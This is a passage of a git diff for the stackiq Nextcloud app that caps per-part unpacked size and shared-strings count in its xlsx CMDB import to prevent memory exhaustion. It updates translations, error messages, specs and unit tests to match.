reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 09d862bb7..175f491a6 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1193,6 +1193,8 @@ "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan.", + "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Uitgepakt is het onderdeel {part} van de werkmap groter dan {size}, het maximum dat de import van één onderdeel leest.", + "The workbook holds more than {count} different texts, the most the import reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest." } } diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index d514b6c6d..d0abd1fd6 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -71,6 +71,16 @@ class CmdbImportProfile { */ public const DEFAULT_MAX_UNCOMPRESSED_BYTES = 52428800; + /** + * Default limit on the unpacked size of any one part of a workbook (10 MB). + */ + public const DEFAULT_MAX_PART_BYTES = 10485760; + + /** + * Default limit on the number of entries in a workbook's shared-strings table. + */ + public const DEFAULT_MAX_SHARED_STRINGS = 200000; + /** * Sources of the municipality pack that come from the request, not from a sheet. * @@ -195,6 +205,45 @@ public function maxUncompressedBytes(): int { return self::DEFAULT_MAX_UNCOMPRESSED_BYTES; }//end maxUncompressedBytes() + /** + * The limit on the unpacked size of any one part of a workbook, in bytes. + * + * PhpSpreadsheet parses the shared-strings part and every loaded sheet part + * whole, into structures many times the part's size, so the parts are + * bounded one by one, not only their total. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function maxPartBytes(): int { + $limit = $this->profile()['maxPartBytes'] ?? null; + if (is_int($limit) === true && $limit > 0) { + return $limit; + } + + return self::DEFAULT_MAX_PART_BYTES; + }//end maxPartBytes() + + /** + * The limit on the number of entries in a workbook's shared-strings table. + * + * PhpSpreadsheet builds the whole table before it reads a sheet, and many + * short strings cost far more memory than their bytes. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function maxSharedStrings(): int { + $limit = $this->profile()['maxSharedStrings'] ?? null; + if (is_int($limit) === true && $limit > 0) { + return $limit; + } + + return self::DEFAULT_MAX_SHARED_STRINGS; + }//end maxSharedStrings() + /** * The maximum number of non-empty rows per source sheet. * diff --git a/lib/Service/Cmdb/CmdbReadFilter.php b/lib/Service/Cmdb/CmdbReadFilter.php index a5132727d..87672dbe9 100644 --- a/lib/Service/Cmdb/CmdbReadFilter.php +++ b/lib/Service/Cmdb/CmdbReadFilter.php @@ -4,11 +4,13 @@ * CMDB read filter. * * Tells PhpSpreadsheet which cells of a CMDB export to materialise, so the - * memory a workbook takes is bounded by the profile, not by the file (design - * D3). The header pass admits row 1 only; the data pass admits the rows up to - * a last row and, per sheet, only the columns the header resolved to an - * allowlisted name. Every other cell is skipped while the sheet is parsed and - * never becomes a cell object. + * cell objects a workbook yields are bounded by the profile (design D3). The + * header pass admits row 1 only; the data pass admits the rows up to a last + * row and, per sheet, only the columns the header resolved to an allowlisted + * name. Every other cell is skipped and never becomes a cell object. The + * filter does not bound the parse itself: PhpSpreadsheet still builds the + * shared-strings table and each loaded sheet's XML tree whole, which is why + * CmdbWorkbookReader caps the parts and the shared strings before loading. * * The class implements PhpSpreadsheet's `IReadFilter`, which OpenRegister * ships. It is only instantiated after `CmdbWorkbookReader::isAvailable()`. diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index bad2fd70b..f99cbc367 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -26,12 +26,18 @@ * to an empty cell, so it yields an empty cell too. * 5. Rows whose kept cells are all empty are dropped; more non-empty rows than * the profile allows stops the import with `TOO_MANY_ROWS` (422). - * 6. Memory is bounded before PhpSpreadsheet parses a sheet: a package that - * unpacks to more than the profile's `maxUncompressedBytes` is - * `WORKBOOK_TOO_LARGE` (413), and a source sheet whose last used row lies - * beyond twice the row limit is `TOO_MANY_ROWS`. A read filter then - * materialises only the header row and the resolved columns of the rows - * up to that bound (CmdbReadFilter). + * 6. What PhpSpreadsheet can be made to hold is bounded before it parses + * anything. PhpSpreadsheet builds the whole shared-strings table, and the + * whole XML tree of every sheet it loads, before a read filter runs, so + * the filter alone does not bound memory. The reader therefore refuses + * with `WORKBOOK_TOO_LARGE` (413) a package that unpacks to more than the + * profile's `maxUncompressedBytes`, a single part that unpacks to more + * than `maxPartBytes`, and a shared-strings table with more entries than + * `maxSharedStrings` (counted with a streaming XMLReader, without building + * the table). A source sheet whose last used row lies beyond twice the row + * limit is `TOO_MANY_ROWS`. A read filter then materialises only the + * header row and the resolved columns of the rows up to that bound + * (CmdbReadFilter), which bounds the cell objects, not the parse. * * @category Service * @package OCA\Stackiq\Service\Cmdb @@ -52,6 +58,7 @@ use OCA\Stackiq\Exception\CmdbImportException; use Throwable; +use XMLReader; use ZipArchive; /** @@ -127,8 +134,10 @@ public function isAvailable(): bool { * Read the source sheets of an xlsx workbook. * * What the workbook can make PhpSpreadsheet hold is bounded before any - * sheet is parsed: the unpacked size of the package (the profile's - * `maxUncompressedBytes`), then the last used row of every source sheet. + * part is parsed: the unpacked size of the package (the profile's + * `maxUncompressedBytes`) and of each part (`maxPartBytes`), the number of + * shared strings (`maxSharedStrings`), then the last used row of every + * source sheet. * The sheets are then read twice through a read filter: once for the * header row, once for the resolved columns of the data rows, so no other * cell is ever materialised. @@ -145,7 +154,8 @@ public function isAvailable(): bool { * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ public function read(string $path, CmdbImportProfile $profile): array { - $this->assertUncompressedSize(path: $path, limit: $profile->maxUncompressedBytes()); + $this->assertUncompressedSize(path: $path, limit: $profile->maxUncompressedBytes(), partLimit: $profile->maxPartBytes()); + $this->assertSharedStringCount(path: $path, limit: $profile->maxSharedStrings()); if ($this->isAvailable() === false) { throw new CmdbImportException( @@ -229,19 +239,20 @@ public static function lastReadableRow(int $limit): int { }//end lastReadableRow() /** - * Refuse a package whose parts unpack to more than the limit, before any part is parsed. + * Refuse a package whose parts, or one of them, unpack to more than the limits, before any part is parsed. * * The sizes are the uncompressed sizes the ZIP directory declares; libzip * never inflates a part beyond its declared size. * * @param string $path The xlsx file. - * @param int $limit The maximum number of unpacked bytes. + * @param int $limit The maximum number of unpacked bytes of all parts together. + * @param int $partLimit The maximum number of unpacked bytes of one part. * * @return void * - * @throws CmdbImportException NOT_XLSX when the package cannot be opened, WORKBOOK_TOO_LARGE above the limit. + * @throws CmdbImportException NOT_XLSX when the package cannot be opened, WORKBOOK_TOO_LARGE above a limit. */ - private function assertUncompressedSize(string $path, int $limit): void { + private function assertUncompressedSize(string $path, int $limit, int $partLimit): void { $zip = new ZipArchive(); if ($zip->open($path, ZipArchive::RDONLY) !== true) { throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The ZIP package cannot be opened'); @@ -256,6 +267,15 @@ private function assertUncompressedSize(string $path, int $limit): void { break; } + if ((int)$stat['size'] > $partLimit) { + $zip->close(); + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'A part of the workbook unpacks to more bytes than the profile allows', + details: ['maxPartBytes' => $partLimit, 'part' => (string)$stat['name']] + ); + } + $total += (int)$stat['size']; } @@ -274,6 +294,80 @@ private function assertUncompressedSize(string $path, int $limit): void { } }//end assertUncompressedSize() + /** + * Refuse a shared-strings table with more entries than the limit, without building it. + * + * The table's `count` and `uniqueCount` attributes are written by the + * producer and can be wrong, so the `` elements are counted, streamed + * with XMLReader straight from the ZIP part. Network access and entity + * substitution stay off. A part that does not parse is left to + * PhpSpreadsheet, which refuses it as NOT_XLSX. + * + * @param string $path The xlsx file. + * @param int $limit The maximum number of shared strings. + * + * @return void + * + * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. + */ + private function assertSharedStringCount(string $path, int $limit): void { + foreach (self::sharedStringParts(path: $path) as $part) { + $xml = new XMLReader(); + $previous = libxml_use_internal_errors(true); + try { + if ($xml->open('zip://' . $path . '#' . $part, null, LIBXML_NONET) === false) { + continue; + } + + $count = 0; + while ($count <= $limit && $xml->read() === true) { + if ($xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si') { + $count++; + } + } + + $xml->close(); + } finally { + libxml_clear_errors(); + libxml_use_internal_errors($previous); + } + + if ($count > $limit) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The shared-strings table holds more entries than the profile allows', + details: ['maxSharedStrings' => $limit] + ); + } + }//end foreach + }//end assertSharedStringCount() + + /** + * The shared-strings parts of a package: `xl/sharedStrings.xml`, or a numbered variant. + * + * @param string $path The xlsx file. + * + * @return array + */ + private static function sharedStringParts(string $path): array { + $zip = new ZipArchive(); + if ($zip->open($path, ZipArchive::RDONLY) !== true) { + return []; + } + + $parts = []; + for ($index = 0; $index < $zip->numFiles; $index++) { + $name = (string)$zip->getNameIndex($index); + if (preg_match('#^xl/sharedStrings\d*\.xml$#i', $name) === 1) { + $parts[] = $name; + } + } + + $zip->close(); + + return $parts; + }//end sharedStringParts() + /** * Refuse a source sheet whose last used row lies beyond the rows that are read. * diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index eab8f52fa..4a82336ee 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -6,6 +6,8 @@ "maxFileBytes": 10485760, "maxRowsPerSheet": 10000, "maxUncompressedBytes": 52428800, + "maxPartBytes": 10485760, + "maxSharedStrings": 200000, "sheets": [ { "name": "Onbeh Applicaties CMDB", diff --git a/openapi.json b/openapi.json index 8d830454d..7c4f1c3d8 100644 --- a/openapi.json +++ b/openapi.json @@ -118,7 +118,7 @@ "description": "Missing or invalid CSRF token" }, "413": { - "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower. WORKBOOK_TOO_LARGE; the unpacked size of the workbook's parts is over the profile's limit, details.maxUncompressedBytes", + "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower. WORKBOOK_TOO_LARGE; over a profile limit checked before parsing: the unpacked size of all parts (details.maxUncompressedBytes), of one part (details.maxPartBytes and details.part), or the number of shared strings (details.maxSharedStrings)", "content": { "application/json": { "schema": { diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 267c7a8fb..3d2bdf619 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -64,7 +64,7 @@ Paths are relative to `/index.php/apps/stackiq`. | 500 | `UPLOAD_FAILED` (PHP could not store the upload), `IMPORT_FAILED` (unexpected; generic message, details only in the log) | | 503 | `MAPPING_UNAVAILABLE`, `READER_UNAVAILABLE`, `NOT_CONFIGURED`, `SCHEMA_OUTDATED` | -Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it is `{"maxUncompressedBytes": 52428800}`, the profile's limit on the unpacked size. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. +Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it names the limit that fired: `{"maxUncompressedBytes": 52428800}` for the unpacked size of the package, `{"maxPartBytes": 10485760, "part": "xl/sharedStrings.xml"}` for one part, or `{"maxSharedStrings": 200000}` for the entries of the shared-strings table. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. ### `POST /api/cmdb-import/{operationId}/cancel` **Auth**: the same as the import: a Nextcloud admin session, plus CSRF token. Delegated groups are refused. @@ -104,7 +104,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `NO_SOURCE_SHEET` | nothing to read | neither "Onbeh Applicaties CMDB" nor "Beheerde Applicaties CMDB" present | | `MISSING_COLUMN` | required column absent | a present source sheet lacks "APPID" or "Applicatie Naam" | | `TOO_MANY_ROWS` | file too large to process | a source sheet has more non-empty rows than `maxRowsPerSheet` (10,000) | -| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked; checked before PhpSpreadsheet parses a sheet | +| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked, one part unpacks to more than `maxPartBytes` (10 MB), or the shared-strings table has more than `maxSharedStrings` (200,000) entries; checked before PhpSpreadsheet parses anything | | `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | | `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | | `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 892a57b25..1aa3ea1fe 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -94,7 +94,7 @@ Stackiq-specific settings live in the profile, not in the packs, so every pack s `CmdbWorkbookReader` checks the upload, then reads it: -1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. +1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. Then, still before PhpSpreadsheet parses anything: the parts may unpack to at most `maxUncompressedBytes` together and `maxPartBytes` each, and the shared-strings table, counted with a streaming XMLReader, may hold at most `maxSharedStrings` entries. Otherwise 413 `WORKBOOK_TOO_LARGE`. 2. `new \PhpOffice\PhpSpreadsheet\Reader\Xlsx()`, then `setReadDataOnly(true)` and `setLoadSheetsOnly([...profile sheet names that exist])`. The sheet names come from `listWorksheetNames()`. The class comes from OpenRegister's vendor directory, which is loaded whenever OpenRegister is enabled. It is checked with `class_exists`; if absent, 503 `READER_UNAVAILABLE`. 3. Row 1 holds the headers. Each header is normalised (trim, collapse whitespace, drop a trailing `:` or `⚡`, lower case) and matched to the column names the profile and the packs reference. Only those columns are kept. Every other cell, such as Personeelsnummer, phone numbers and group mailboxes, is never copied out of the reader. 4. For each cell the reader takes `getValue()`. For a formula cell (data type `f`) it takes `getOldCalculatedValue()`, the value Excel cached. It never calls `getCalculatedValue()` or `toArray()` with formula calculation. Every cell of the CMDB sheets is a formula, so this is the normal path. A formula without a cached value (no `` in the file, for example a workbook written by a tool that does not calculate) is read as empty and its column is listed in the row's `uncached`; the service turns that into the row warning `Column "…": formula without a cached value, read as empty`. It never fails the row. A cached number `0` is what Excel stores for a reference to an empty cell, and is read as empty. @@ -268,7 +268,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a - **Auth and CSRF:** both routes are for Nextcloud admins only through Nextcloud's middleware, with CSRF required. They carry no `AuthorizedAdminSetting`, so a group an admin delegated stackiq's admin settings to is refused: the import writes with RBAC and multitenancy off, across tenants. This is stricter than `SbomController` and `importArchiMate`, which carry `NoCSRFRequired`. The admin check happens before the body is read. - **File checks before parsing:** size limit (10 MB, profile), `.xlsx` extension, ZIP signature and `xl/workbook.xml`. `.xlsm` and `.xls` are rejected. The upload is read from PHP's temporary upload file and never written into Nextcloud Files. - **No evaluation, no fetching:** read-data-only, profile sheets only, cached values for formula cells, no `getCalculatedValue()`, no HTTP client in the reader. External connections, Power Query packages and hyperlinks are inert. -- **Resource bounds:** row cap per sheet, and only allowlisted columns are kept. Memory is bounded by loading only the two CMDB sheets. +- **Resource bounds:** before PhpSpreadsheet parses anything, the reader caps the unpacked size of the package (`maxUncompressedBytes`) and of each part (`maxPartBytes`), and counts the shared-strings entries with a streaming XMLReader (`maxSharedStrings`), because PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole, outside the read filter's reach. Then a row cap per sheet, only the two CMDB sheets loaded, and a read filter that keeps only allowlisted columns as cell objects. - **Injection:** every value is a string that goes through OpenRegister's schema validation on save, and is never used in SQL, file paths or templates. The UI renders values as text only. - **Isolation:** every row runs in its own try/catch. Errors are reported per row, and the import continues. - **Privacy:** the column allowlist keeps every person column except the owner out of memory; the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, are not read at all. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 174ed3183..98118377b 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -51,7 +51,7 @@ Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSess ### Requirement: The workbook SHALL be read as stored data, without evaluating formulas or following links (REQ-CMDB-002) -The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any sheet, the reader SHALL add up the unpacked sizes of the package's parts and SHALL stop with 413 `WORKBOOK_TOO_LARGE`, with `details.maxUncompressedBytes`, when they exceed the profile's `maxUncompressedBytes` (default 50 MB), so a small file that unpacks to far more cannot exhaust the server's memory. +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), or when the shared-strings table holds more `` entries than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. #### Scenario: A formula cell yields its cached value and is not evaluated @e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. @@ -85,6 +85,14 @@ The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-dat - **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE` and `details.maxUncompressedBytes` set to the limit - **AND** no sheet SHALL be parsed and no object SHALL be written +#### Scenario: A workbook with an oversized part or shared-strings table is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testAPartBeyondThePartLimitIsRefusedBeforeLoading builds a package under `maxUncompressedBytes` whose shared-strings part, and one whose sheet part, unpacks beyond `maxPartBytes`, and testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading builds one with more `` entries than `maxSharedStrings` while its `uniqueCount` claims 1; both assert WORKBOOK_TOO_LARGE with the limit and that PhpSpreadsheet loaded nothing. + +- **GIVEN** an xlsx package under `maxUncompressedBytes` whose `xl/sharedStrings.xml` unpacks to more than `maxPartBytes`, or holds more entries than `maxSharedStrings` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE`, and `details` SHALL name the limit (and for a part, the part) +- **AND** no sheet SHALL be loaded and no object SHALL be written + ### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 626ed4fd0..7061c8a4e 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -404,6 +404,41 @@ export function isKnownError(code) { return KNOWN_ERRORS.has(code) } +/** + * The title of WORKBOOK_TOO_LARGE, naming the limit the server applied. + * + * @param {object} details The error details: `maxPartBytes` and `part`, `maxSharedStrings`, or `maxUncompressedBytes` + * @return {string} The title + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-workbook-shall-be-read-as-stored-data-without-evaluating-formulas-or-following-links-req-cmdb-002 + */ +function workbookTooLargeTitle(details) { + if (Number(details.maxPartBytes) > 0) { + return t( + 'stackiq', + 'Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.', + { part: String(details.part ?? ''), size: formatMegabytes(details.maxPartBytes) }, + AS_TEXT, + ) + } + if (Number(details.maxSharedStrings) > 0) { + return t( + 'stackiq', + 'The workbook holds more than {count} different texts, the most the import reads.', + { count: String(details.maxSharedStrings) }, + AS_TEXT, + ) + } + if (Number(details.maxUncompressedBytes) > 0) { + return t( + 'stackiq', + 'Unpacked, the workbook is larger than {size}, the most the import reads.', + { size: formatMegabytes(details.maxUncompressedBytes) }, + AS_TEXT, + ) + } + return t('stackiq', 'The workbook is too large to read once unpacked.') +} + /** * What the page says for an error: a title and, where the code has one, a * hint on what to do. The text is the page's own, so it is translated even @@ -594,18 +629,7 @@ export function errorText(error) { } case 'WORKBOOK_TOO_LARGE': return { - title: - Number(details.maxUncompressedBytes) > 0 - ? t( - 'stackiq', - 'Unpacked, the workbook is larger than {size}, the most the import reads.', - { size: formatMegabytes(details.maxUncompressedBytes) }, - AS_TEXT, - ) - : t( - 'stackiq', - 'The workbook is too large to read once unpacked.', - ), + title: workbookTooLargeTitle(details), hint: t( 'stackiq', 'Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.', diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index dc45437da..881b2fff4 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -304,6 +304,25 @@ describe('errorText', () => { ) }) + it('names the part limit and the part, or the shared-strings limit, the server applied', () => { + expect( + errorText({ + error: 'WORKBOOK_TOO_LARGE', + details: { maxPartBytes: 10 * 1024 * 1024, part: 'xl/sharedStrings.xml' }, + }).title, + ).toBe( + 'Unpacked, the part xl/sharedStrings.xml of the workbook is larger than 10 MB, the most the import reads of one part.', + ) + expect( + errorText({ + error: 'WORKBOOK_TOO_LARGE', + details: { maxSharedStrings: 200000 }, + }).title, + ).toBe( + 'The workbook holds more than 200000 different texts, the most the import reads.', + ) + }) + it('names the outdated schema and points to Force Update', () => { const words = errorText({ error: 'SCHEMA_OUTDATED', diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index a5893c984..2f50b8d1f 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -149,6 +149,8 @@ public function testThePacksImplementTheColumnTable(): void { $this->assertSame(['BNN Classificatie' => ['NB']], $profile->emptyValues()); $this->assertSame(10485760, $profile->maxFileBytes()); $this->assertSame(10000, $profile->maxRowsPerSheet()); + $this->assertSame(10485760, $profile->maxPartBytes()); + $this->assertSame(200000, $profile->maxSharedStrings()); }//end testThePacksImplementTheColumnTable() /** diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index f0c81f7bf..bb2f14a78 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -350,6 +350,102 @@ public function testARowSpanBeyondTheLimitStopsBeforeLoading(): void { } }//end testARowSpanBeyondTheLimitStopsBeforeLoading() + /** + * A shared-strings table with more entries than maxSharedStrings is refused before any sheet is loaded. + * + * The table declares a `uniqueCount` of 1, so only counting its `` elements catches it. A table of + * exactly the limit is read normally. + * + * @return void + */ + public function testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $sheets = ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een']]]; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxSharedStrings' => 1000]); + $reader = new class extends 